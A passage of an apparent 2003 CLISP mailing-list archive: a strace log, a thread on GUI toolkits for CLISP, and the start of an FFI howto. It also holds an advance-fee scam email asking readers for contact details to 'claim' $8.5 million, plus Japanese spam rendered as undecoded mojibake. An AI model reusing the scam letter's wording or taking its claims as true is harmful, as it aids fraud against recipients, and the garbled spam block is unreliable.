"\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\6\0\000"..., 1024) = 1024 > fstat64(9, {st_mode=S_IFREG|0755, st_size=7316, ...}) = 0 > mmap2(NULL, 10328, PROT_READ|PROT_EXEC, MAP_PRIVATE, 9, 0) = 0x40021000 > mprotect(0x40023000, 2136, PROT_NONE) = 0 > mmap2(0x40023000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 9, 0x1) = 0x40023000 > close(9) = 0 > --- SIGSEGV (Segmentation fault) @ 0 (0) --- > mprotect(0x202b9000, 4096, PROT_READ|PROT_WRITE) = 0 > sigreturn() = ? (mask now []) > --- SIGSEGV (Segmentation fault) @ 0 (0) --- > open("/proc/self/maps", O_RDONLY) = 9 > fstat64(9, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 > mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40024000 > read(9, "08048000-08173000 r-xp 00000000 "..., 4096) = 2936 > close(9) = 0 > munmap(0x40024000, 4096) = 0 > open("/usr/share/locale/ru_RU.KOI8-R/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) > open("/usr/share/locale/ru_RU.koi8r/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) > open("/usr/share/locale/ru_RU/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) > open("/usr/share/locale/ru.KOI8-R/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) > open("/usr/share/locale/ru.koi8r/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) > open("/usr/share/locale/ru/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) > write(2, "\n*** - Program stack overflow. R"..., 36 > *** - Program stack overflow. RESET) = 36 > mmap2(0x202f2000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x202f2000 > select(1024, [0], NULL, NULL, {0, 0}) = 0 (Timeout) > write(1, "\n", 1) = 1 > write(1, "[2]> ", 5) = 5 > fsync(1) = -1 EINVAL (Invalid argument) > read(0, "a", 1) = 1 > fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 > mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40020000 > write(1, "a", 1) = 1 > rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 > read(0, "\t", 1) = 1 > open("/usr/lib/gconv/KOI8-R.so", O_RDONLY) = 9 > read(9, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\6\0\000"..., 1024) = 1024 > fstat64(9, {st_mode=S_IFREG|0755, st_size=7316, ...}) = 0 > mmap2(NULL, 10328, PROT_READ|PROT_EXEC, MAP_PRIVATE, 9, 0) = 0x40021000 > mprotect(0x40023000, 2136, PROT_NONE) = 0 > mmap2(0x40023000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 9, 0x1) = 0x40023000 > close(9) = 0 > write(2, "\7", 1) = 1 > rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 > read(0, "\t", 1) = 1 > mmap2(0x2034a000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2034a000 > write(1, "\n", 1) = 1 > write(1, "abort appl"..., 67) = 67 > write(1, "abs apro"..., 73) = 73 > write(1, "acons apro"..., 78) = 78 > write(1, "acos aref"..., 73) = 73 > write(1, "acosh argl"..., 79) = 79 > write(1, "add-method arit"..., 60) = 60 > write(1, "address arit"..., 61) = 61 > write(1, "adjoin arit"..., 62) = 62 > write(1, "adjustable-array-p arra"..., 63) = 63 > write(1, "adjust-array arra"..., 62) = 62 > write(1, "allocate-instance arra"..., 65) = 65 > write(1, "alpha-char-p arra"..., 69) = 69 > write(1, "alphanumericp arra"..., 61) = 61 > write(1, "and arra"..., 62) = 62 > write(1, "appease-cerrors arra"..., 61) = 61 > write(1, "append arra"..., 57) = 57 > write(1, "apply arra"..., 57) = 57 > write(1, "[1]> a", 6) = 6 -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From ortmage@gmx.net Sun Mar 02 21:16:10 2003 Received: from edgar1.colorado.edu ([128.138.129.100] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18piJ6-0007ap-00 for ; Sun, 02 Mar 2003 21:16:08 -0800 Received: from gmx.net (arnt21-54-dhcp.resnet.Colorado.EDU [128.138.21.54]) by edgar1.colorado.edu (8.11.2/8.11.2/ITS-5.0/student) with ESMTP id h235G4I23177 for ; Sun, 2 Mar 2003 22:16:04 -0700 (MST) Message-ID: <3E62E50F.9050903@gmx.net> From: Scott Williams User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3b) Gecko/20030210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <3E62106A.2010500@yandex.ru> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] CLISP wanted: GUI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 2 21:18:58 2003 X-Original-Date: Sun, 02 Mar 2003 22:15:59 -0700 I was perusing the wanted list when I saw that clisp wants a GUI. I had been working on slowly porting OpenGL (slowed by school, lack of knowledge about clisp, and lack of knowledge about OpenGL in general) so that I could write a GUI library for an application I'd been working on. In a different, unrelated project, I ran across www.picoGUI.org and www.fresco.org which both looked promising. Fresco looks like it has more potential for coolness in the future, but PicoGUI works NOW. Does the list think either of these projects are worth supporting in clisp? From where I stand, the main advantage to supporting PicoGUI or Fresco is that they're neatly cross-platform and most of all, don't depend explicitly on FFI! (in fact, picoGUI developers discourage other languages from wrapping the C client library). The downside is that I haven't perused the picogui client code all that much, and being a relatively inexperienced lisp programmer, the task of implementing the whole client seems a little daunting (but not wholly unwelcome). Input? -Scott From hary_savimbi2003@phantomemail.com Mon Mar 03 01:31:41 2003 Received: from node-c-1738.a2000.nl ([62.194.23.56] helo=mail.sourceforge.net ident=vZAlis) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18pmIP-0003Wl-00 for ; Mon, 03 Mar 2003 01:31:41 -0800 From: "hary" To:clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] REQUEST FOR AN ASSISTANCE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 3 01:33:14 2003 X-Original-Date: Mon, 03 Mar 2003 10:28:07 DEAR SIR/MADAM, THIS LETTER MAY COME TO YOU AS A SURPRISE DUE TO THE FACT THAT WE HAVE NOT YET MET. THE MESSAGE COULD BE STRANGE BUT REAL IF YOU PAY SOME ATTENTION TO IT. I COULD HAVE NOTIFIED YOU ABOUT IT AT LEAST FOR THE SAKE OF YOUR INTEGRITY. PLEASE ACCEPT MY SINCERE APOLOGIES. IN BRINGING THIS MESSAGE OF GOODWILL TO YOU, I HAVE TO SAY THAT I HAVE NO INTENTIONS OF CAUSING YOU ANY PAINS. I AM MR. HARY SAVIMBI, SON OF THE LATE REBEL LEADER JONAS SAVIMBI OF ANGOLA WHO WAS KILLED ON THE 22ND OF FEBUARY 2002 . MY LATE FATHER, JONAS SAVIMBI WAS ABLE TO DEPOSIT A LARGE SUM OF MONEY IN DIFFERENT BANKS IN EUROPE AND THE MOVEMENT OF HIS FAMILY MEMBERS (INCLUDING ME) IS RESTRICTED. WE ARE FORBIDDEN TO EITHER TRAVEL ABROAD OR OUT OF OUR LOCALITIES. PRESENTLY, THE SUM OF US$8,500,000.00 EIGHT MILLION, FIVE HUNDRED THOUSAND DOLLARS MY FATHER TRANSFERRED TO NETHERLANDS IS SAFE AND IS WITH A SECURITY FIRM. I AM THEREFORE SOLICITING YOUR HELP TO HAVE THIS MONEY TRANSFERRED INTO YOUR ACCOUNT BEFORE MY GOVERNMENT GET WIND OF THIS FUND. YOU MAY KNOW THAT MY FATHER WAS A REBEL LEADER IN ANGOLA BEFORE HIS DEATH AND MY REASON FOR DOING THIS IS BECAUSE IT WILL BE DIFFICULT FOR THE ANGOLAN GOVERNMENT TO TRACE MY FATHER'S MONEY TO AN INDIVIDUAL'S ACCOUNT, ESPECIALLY WHEN SUCH AN INDIVIDUAL HAS NO RELATIONSHIP WITH MY FATHER THEREBY KEEPING THAT MONEY FOR MY FAMILY USE. AT PRESENT THE MONEY AS I SAID IS KEPT IN A SECURITY COMPANY IN THE NETHERLAND. MY BROTHER HAS A REFUGEE STATUS IN THE NETHERLANDS. MOREOVER, THE POLITICAL CLIMATE IN ANGOLA AT THE MOMENT IS SO SENSITIVE AND UNSTABLE SO IT WILL BE BETTER WE DO THIS TRANSACTION NOW. WITH THIS PASSWORD AND INFORMATION I WILL SEND YOU, AND THE CHANGE OF OWNERSHIP THAT I WILL SEND TO THE SECURITY FIRM, YOU WILL BE ABLE TO REPRESENT US IN THE NETHERLANDS TO CLAIM THIS CONSIGNMENT FROM THE SECURITY FIRM. WHEN YOU ARE READY, I WILL GIVE YOU THE INFORMATION NEEDED BEFORE YOU CAN GET ACCESS TO THE FUND, YOU WILL THEN PROCEED TO NETHERLANDS WHERE YOU WILL SIGN THE FINAL RELEASE DOCUMENTS OF THE US$8,500,000.00 EIGHT, MILLION, FIVE HUNDRED THOUSAND DOLLARS. I WILL GIVE YOU FURTHER DETAILS WHEN I GET YOUR RESPONSE TO THIS LETTER ASSURING US THAT YOU WILL BE ABLE TO REPRESENT US IN THE NETHERLANDS ANDTHAT WILL MAKE THIS TRANSACTION CONFIDENTIAL. IT IS VERY IMPORTANT THAT YOU GIVE ME YOUR PHONE AND FAX NUMBERS WHILE THIS IS KEPT CONFIDENTIAL. YOU CAN CONTACT ME WITH MY E-MAILADDRESS, hary_savimbi2003@phantomemail.com YOURS SINCERELY, HARY SAVIMBI From sds@gnu.org Mon Mar 03 07:27:01 2003 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18prqH-000304-00 for ; Mon, 03 Mar 2003 07:27:01 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop018.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030303152654.ZTCC6884.pop018.verizon.net@loiso.podval.org>; Mon, 3 Mar 2003 09:26:54 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h23FQtTx003808; Mon, 3 Mar 2003 10:26:55 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h23FQst5003804; Mon, 3 Mar 2003 10:26:54 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Scott Williams Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP wanted: GUI References: <3E62106A.2010500@yandex.ru> <3E62E50F.9050903@gmx.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3E62E50F.9050903@gmx.net> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop018.verizon.net from [151.203.48.207] at Mon, 3 Mar 2003 09:26:54 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 3 07:45:44 2003 X-Original-Date: 03 Mar 2003 10:26:54 -0500 > * In message <3E62E50F.9050903@gmx.net> > * On the subject of "[clisp-list] CLISP wanted: GUI" > * Sent on Sun, 02 Mar 2003 22:15:59 -0700 > * Honorable Scott Williams writes: > > I ran across www.picoGUI.org and www.fresco.org which both looked > promising. Does the list think either of these projects are worth > supporting in clisp? From what I can glean from 30 sec at each web site, these are not GUI toolkits but new window systems. Interfacing with them will not bring GUI capabilities to CLISP running on a woe32 or a Linux/X/GNOME/KDE. I think it would be more valuable to either - finish new-clx (for faster CLX in CLISP) - finish&port the closure web browser to CLISP - finish&port the hemlock editor to CLISP OTOH, I do not want to discourage you. Pick your project and fire off! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Parachute for sale, used once, never opened, small stain. From smustudent1@yahoo.com Mon Mar 03 08:17:05 2003 Received: from web12206.mail.yahoo.com ([216.136.173.90]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18psci-0005VM-00 for ; Mon, 03 Mar 2003 08:17:04 -0800 Message-ID: <20030303161704.37215.qmail@web12206.mail.yahoo.com> Received: from [128.175.78.141] by web12206.mail.yahoo.com via HTTP; Mon, 03 Mar 2003 08:17:04 PST From: C Y Subject: Re: [clisp-list] CLISP wanted: GUI To: sds@gnu.org, Scott Williams Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 3 08:24:33 2003 X-Original-Date: Mon, 3 Mar 2003 08:17:04 -0800 (PST) --- Sam Steingold wrote: > > * In message <3E62E50F.9050903@gmx.net> > > * On the subject of "[clisp-list] CLISP wanted: GUI" > > * Sent on Sun, 02 Mar 2003 22:15:59 -0700 > > * Honorable Scott Williams writes: > > > > I ran across www.picoGUI.org and www.fresco.org which both looked > > promising. Does the list think either of these projects are worth > > supporting in clisp? > > From what I can glean from 30 sec at each web site, these are not GUI > toolkits but new window systems. > Interfacing with them will not bring GUI capabilities to CLISP > running on a woe32 or a Linux/X/GNOME/KDE. > > I think it would be more valuable to either > - finish new-clx (for faster CLX in CLISP) > - finish&port the closure web browser to CLISP > > - finish&port the hemlock editor to CLISP > > > OTOH, I do not want to discourage you. > Pick your project and fire off! You might also look at helping port the Garnet Lisp GUI toolkit to Win32 and fixing up bitrot issues (http://garnetlisp.sf.net) or help the McCLIM GUI toolkit project http://www.mikemac.com/mikemac/McCLIM/ which is more advanced than the website would lead you to believe. I think closure is being reimplimented in McCLIM, but the author hasn't released his code to the public yet. CY __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - forms, calculators, tips, more http://taxes.yahoo.com/ From dan.stanger@ieee.org Mon Mar 03 09:41:06 2003 Received: from mail.hypermall.net ([216.241.37.118] helo=mail2.hypermall.com ident=exim) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ptw1-0007RM-00 for ; Mon, 03 Mar 2003 09:41:05 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.36 #1) id 18ptw0-0004oh-00 for clisp-list@lists.sourceforge.net; Mon, 03 Mar 2003 10:41:04 -0700 Message-ID: <3E6393B2.47E41334@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP wanted: GUI References: <3E62106A.2010500@yandex.ru> <3E62E50F.9050903@gmx.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 3 09:45:06 2003 X-Original-Date: Mon, 03 Mar 2003 10:41:06 -0700 As someone who has some experience with porting gui's I think the easiest thing to do is to make garnet work on win32. We are close to that, I planned to work on it as soon as I finish packing my house, in preparing to move. Then, we should concentrate on McClim, as that is the most modern lisp gui, which would make clisp more functionally compatible with modern lisps. Dan Stanger Scott Williams wrote: > I was perusing the wanted list when I saw that clisp wants a GUI. I had > been working on slowly porting OpenGL (slowed by school, lack of > knowledge about clisp, and lack of knowledge about OpenGL in general) so > that I could write a GUI library for an application I'd been working on. > In a different, unrelated project, I ran across www.picoGUI.org and > www.fresco.org which both looked promising. > > Fresco looks like it has more potential for coolness in the future, but > PicoGUI works NOW. Does the list think either of these projects are > worth supporting in clisp? From where I stand, the main advantage to > supporting PicoGUI or Fresco is that they're neatly cross-platform and > most of all, don't depend explicitly on FFI! (in fact, picoGUI > developers discourage other languages from wrapping the C client library). > > The downside is that I haven't perused the picogui client code all that > much, and being a relatively inexperienced lisp programmer, the task of > implementing the whole client seems a little daunting (but not wholly > unwelcome). > > Input? > > -Scott > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From info@orient-sky.com Tue Mar 04 10:05:16 2003 Received: from pl045.nas922.te-fukuoka.nttpc.ne.jp ([210.139.31.45] helo=orient-sky.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18qGmr-0006UU-00 for ; Tue, 04 Mar 2003 10:05:09 -0800 Received: (from info@localhost) by orient-sky.com (8.11.6/8.11.6) id h24I5OS10347 for clisp-list@lists.sourceforge.net; Wed, 5 Mar 2003 03:05:24 +0900 Message-Id: <200303041805.h24I5OS10347@orient-sky.com> To: clisp-list@lists.sourceforge.net From: =?iso-2022-jp?B?GyRCIzUyLyM5QGlLfDFfPlo1cjx9Rn4kKyRpJUElYyVzJTkbKEI=?= MIME-Version: 1.0 Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit Subject: [clisp-list] =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCF2IzMyLzFfJFgkTjBsSmIbKEI=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 4 10:06:04 2003 X-Original-Date: Wed, 5 Mar 2003 03:05:24 +0900 $B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L$>5Bz9-9p!v!!!!!!!!!!!!(B $B!c;v6HZ!!!!6(2q!&%*%j%(%s%H%9%+%$!&$($S$9$d!&?H85J]>Ze$2$^$9(B $B!g"!(,(,!g"!!g(,(,(,!g"!!g!g"!!g(,(,(,!g"!(,(,"!!g(B $B$$$^$NIT0B$O#3@iK|1_$"$k$H2r7h=PMh$k!&$=$N0Y$N:_BpJ]>Z>Z7t%S%8%M%9(B $B!!!!!!(B $B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#32/1_$X$N0lJb(B $B!!!!!z(B--$B!~(B--$B!z(B--$B"!(B--$B!z(B--$B!~(B--$B!z!z(B--$B!~(B--$B!z(B--$B"!(B--$B!z(B--$B!~(B--$B!z(B $B!!!!!!!!!!!!(B $B!!!!!!!!!!!!:#$NITK~$O!N#2@iK|1_$G2r7h!W!cD4::$NB??t0U8+!d(B $B"#(B $B#52/#9@iK|1_<}F~$N>Z5r(B $B-!!Z#22/1_! /1_!4/#9@iK|1_Ey<}F~3NDj$N>Z5r$OM-$j$^$9![8+$;$k$3$H(B $B!!=PMh$^$9!&!!3NG'$G$-$^$9!&?.MQ$O!";vZ5r$7$+M-$j$^$;$s!#:[H=$N!!H=7h$b>Z5rZ5r$O0lHV$K:NMQ$5$l$^$9!&Ev6(2q$b>Z!!5rZ5r$O!Z6d9T0uM-?69~=q!"!"G/7nF|!"7nJL<}F~![$NJ*E*L@:Y>Z5r$G!!$9!#(B $B!vA05-<}F~Z5rM-:_Bp8\LdDL?.%S!!%8%M%9!Y$N!!!V:_Bp8\Ld8"Mx$rZ5rM-:_Bp8\Ld![$N!X8"MxZ>Z7t$G?M!9$rJ]>Z$NHa7`$+$iKI!!;_$7$?$$J}!aJ]>Z$N@U!!G$$OM-$j$^$;$s!&A05-J]>ZZ!!!!5rM-!W!v;q3J?3::8e$N!V8\Ld;v6H7@Ls!W$H$J$j$^$9!#(B $B-"#2#0:M0J>eCK=w!"$44uK>$NJ}$K!V;q3J?3::?=9~=q$rAwIU!W$7$^$9!#(B $B"#J]>Z>Z7t$NI,MW$JK!E*:,5r$N>Z5r(B $B-!!XEl5~9bEy:[H==j$NH=7h=q!Y$O!VJ*E*>Z5r$G$9!W!vJ]>Z>Z7t$OJ]>Z?M$@!!$+$i#1@iK|1_;Y!!J'$($J$5$$$HH=7h3NDj!vJ]>Z>Z7t$NH=7h$ONr;K>eF|!!!!K\$G$O;O$a$F$NJ]>Z2~3WH=7h$G$9!#!!H=7h=q$r8+$F!"3NG'$7$F$+$iK\J*!!$+H]$+3NG'$r?d>)$7$F$$$^$9!#(B $B"#;v6H$NFbMF(B $B-!!X#52/#9@iK|1_>Z5rM-:_Bp8\LdDL?.%S%8%M%9#2#0G/M-8z8"Mx7@Ls(B $B!Y(B $B-":#$J$i!NFCJLM%6x2A3J$G8"Mx7@Ls!O=PMh$^$9!#D9Ln8)$O8)BeI=8\Ld!J8)!!J]>Z6(2q2qD9!K!!$O>e8B$KC#$7$^$7$?$N$G7@LsDy$a@Z$j$G$9!#(B $B-#(B $B=i4|$N<}F~L\E*$O!"M_D%$i$:$K#2@iK|$+$i%9%?!<%H!&=y!9$K#5@iK|1_!&!&(B $B!!!!!&!&$He@Q$_$NJ}$,B?$$$G$9!#(B $B"%>Z5r$r8+$;$J$$!">Z5r$,$J$$!">Z5r$r5-$7$F$J$$!&!&$N$O!V??Z5r$r4p(B $B!!K\$K?.MQ![$,0lHV!*(B $B!y"f"f"f"f!z"f"f"f"f"f!y"f"f"f"f"f!z"f"f"f"f"f!y"f"f"f"f!z(B $B!!!!(B $B#52/#9@iK|1_!!>Z5rM-!!%S%C%/:_Bp<}F~!!%A%c%s%9?7J9!a7nJs(B $B!!!!!!!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v(B $B!!!!(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(B $B!!(B $B!!(B $B!!!!!!!!!!!!!!!!!!!!4JC1$K(B $B=PMh$k!!!&!!:_Bp$G(B $B=PMh$k!*(B $B(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(B $B"#:#$NITK~$O#2@iK|1_$G2r7h=PMh$k!*(B $B"##3G/8e$N4jK>$O#7@iK|1_$G2r7h=PMh$k!*(B $B"#O78e$NI,MW;q6b$O#3@iK|1_$G2r7h=PMh$k!*(B $B"#J]>Z$NHa7`$O#5@iK|1_3[LLJ]>Z>Z7t$G2r7h=PMh$k!*(B $B"#:_Bp!&7s6H!&M>2K!&<+Bp$+$iA49q$K!&%$%s%?!<%M%C%H!&MU=q!&#F#A#X$N(B $B!!$$$:$l$+Kt$O%;%C%H$GHkL)$K=PMh$k!*(B $B"#<}F~$O6d9T?69~$G=PMh$k!#(B $B"##H#P$r%@%&%s%m!<%I$7$F4JC1$K%$%s%?!<%M%C%HJ]>Z;v6H$N7P1D$,=PMh$k!*(B $B"##12/1_L\E*$G;O$a$?J}!9$G(B $B!!!V#22/1_! /1_!4/#9@iK|1_Ey$N<}F~B3=PZ>Z7t$r!"%$%s%?!<%M%C%H!&MU=q!&#F#A#X$NDL?.$@$1$GZ7t$O;EF~6b$J$7$GZ>Z7t$O!"El5~9bEy:[H==j$NH=7h=q$GJ]>Z?M$H3NDj$5$l$?!&K!E*:,!!5r$N$"$kF|K\$G!!M#0l$N#3#7G/$NNr;K$,$"$kJ]>Z>Z7t$GJ]>Z?M$N5_:Q$H!!8D?M$N<}F~$N0l5sN>F@$G=PMh$k!*"#<}F~$O#2Z5r$r3NG'=PMh$k!*(B $B!!#22/1_!"#32/1_!"#52/#9@iK|1_<}F~$OK\Ev$+$J!)$H;W$&?M$O@5>o$J?M!#(B $B!!>Z5r$r8+$k$^$G$O!"2?;v$b?.MQ$7$J$$!">Z5r$O6d9T0uM-?6!!9~=q$r3N(B $B!!$7$+$a$F$+$i3hF03+;O!"#32/1_L\;X$7$F!#>Z5r$K>!$k;vZ5r$N$J$$$N$OK\Ev$+13$+H=CG=PMh$J$$$+$i!">Z5r8+$;$k$O?.MQ=P(B $B!!Mh$k!#(B $B"#:[H==j$NH=7h=q$H6d9T0uM-$NJ*E*>Z5r$@$+$i0B?4$7$F=PMh$k!*(B $B!!!!(B $B!!!!!z(B--$B!~(B--$B!z(B--$B"!(B--$B!z(B--$B!~(B--$B!z!!!!!y!!!!!z(B--$B!~(B-$B!z(B $B!|$3$A$i$+$i(B $B!!(B http://orient-sky.com/ $B!!L5NA$N;qNA$4@A5a$G$-$^$9!#(B $B!!!y!y"f"f"f"f"f!z"f"f"f"f"f!y"f"f"f"f"f!z"f"f"f"f"f!y!y(B $B"%2<5-$NJ}!9$,"%(B $B"$!V#52/#9@iK|1_J]>Z>Z7t:_Bp7s6H%S%8%M%9!W$K;22C$7$F$$$^$9"$(B $B"##2@iK|1_0LCy6b=PMh$k%A%c%s%9$K7C$^$l$J$$J}!#(B $B"#L\E*$KI,MW$J;q6b$,F~e$K#3@iK|1_$OM_$7$$$,IT67$G;W$&$h$&$K$J$i$J$$J}!#(B $B"#O78e$N0B?4@83h;q6b$,$_DL$jF~e$N<}F~$r5a$a$F$$$kJ}!#(B $B"#;22C$7$F$$$kJ}!9!a6P$a?M!"<+1D6H!"0e#2#0:P0J>e$NCK=wB??t!#5.J}MM$N<+Bp$,!VA49q$KH/?.$9$kJ]>Z;v6H$N(B $B!!;vL3=j$G$9!#J]>Z>Z7t$OF|K\$G$O;O$a$F#3#7G/A0$KEv6(2q$,3+H/$7$^!!!!$7$?!#(B $B"!KL3$F;$+$i2-FlKx!&A49qE*$KJ]>Z3HBgCf!&J]>Z>Z7t$O#1#8; Wed, 05 Mar 2003 07:04:50 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 5 Mar 2003 16:04:32 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 5 Mar 2003 16:04:32 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0287A252@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net X-Mailer: Internet Mail Service (5.5.2653.19) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable Subject: [clisp-list] FFI howto: variable length arrays (long) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 5 07:05:29 2003 X-Original-Date: Wed, 5 Mar 2003 16:04:26 +0100 Dear reader, [Sam: this text will hopefully answer questions regarding FOREIGN-VALUE et = al.] the text below assumes some familiarity with the CLISP FFI declarations and reading of prior FFI cookbook texts of mine (i.e. sent on 12th of February 2002 to this list). How to deal with variable length (unknown at compile time) arrays with the CLISP FFI? The aforementioned cookbook part already contains an example for gethostname. It was relatively easy, since the maximal array length (MAXHOSTNAMELEN: 256) is a system-wide constant. There's a well-known variable length case everybody knows about: C-STRING. You may not have recognized that C-ARRAY-PTR is a generalization of C-STRING to any other type: (C-ARRAY-PTR CHARACTER) is equivalent to C-STRING - except for efficiency. Yet that is still not enough to handle typical needs. I'll use zlib's compress function as an example throughout this document. Its declaration is: int compress (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen); However that does not tell enough for a FFI definition. The documentation defines: "sourceLen is the byte length of the source buffer. Upon entry, destLen is the total size of the destination buffer, which must be at least 0.1% larger than sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the compressed buffer." Now this is all we need to know about compress. Here is what I dream of: 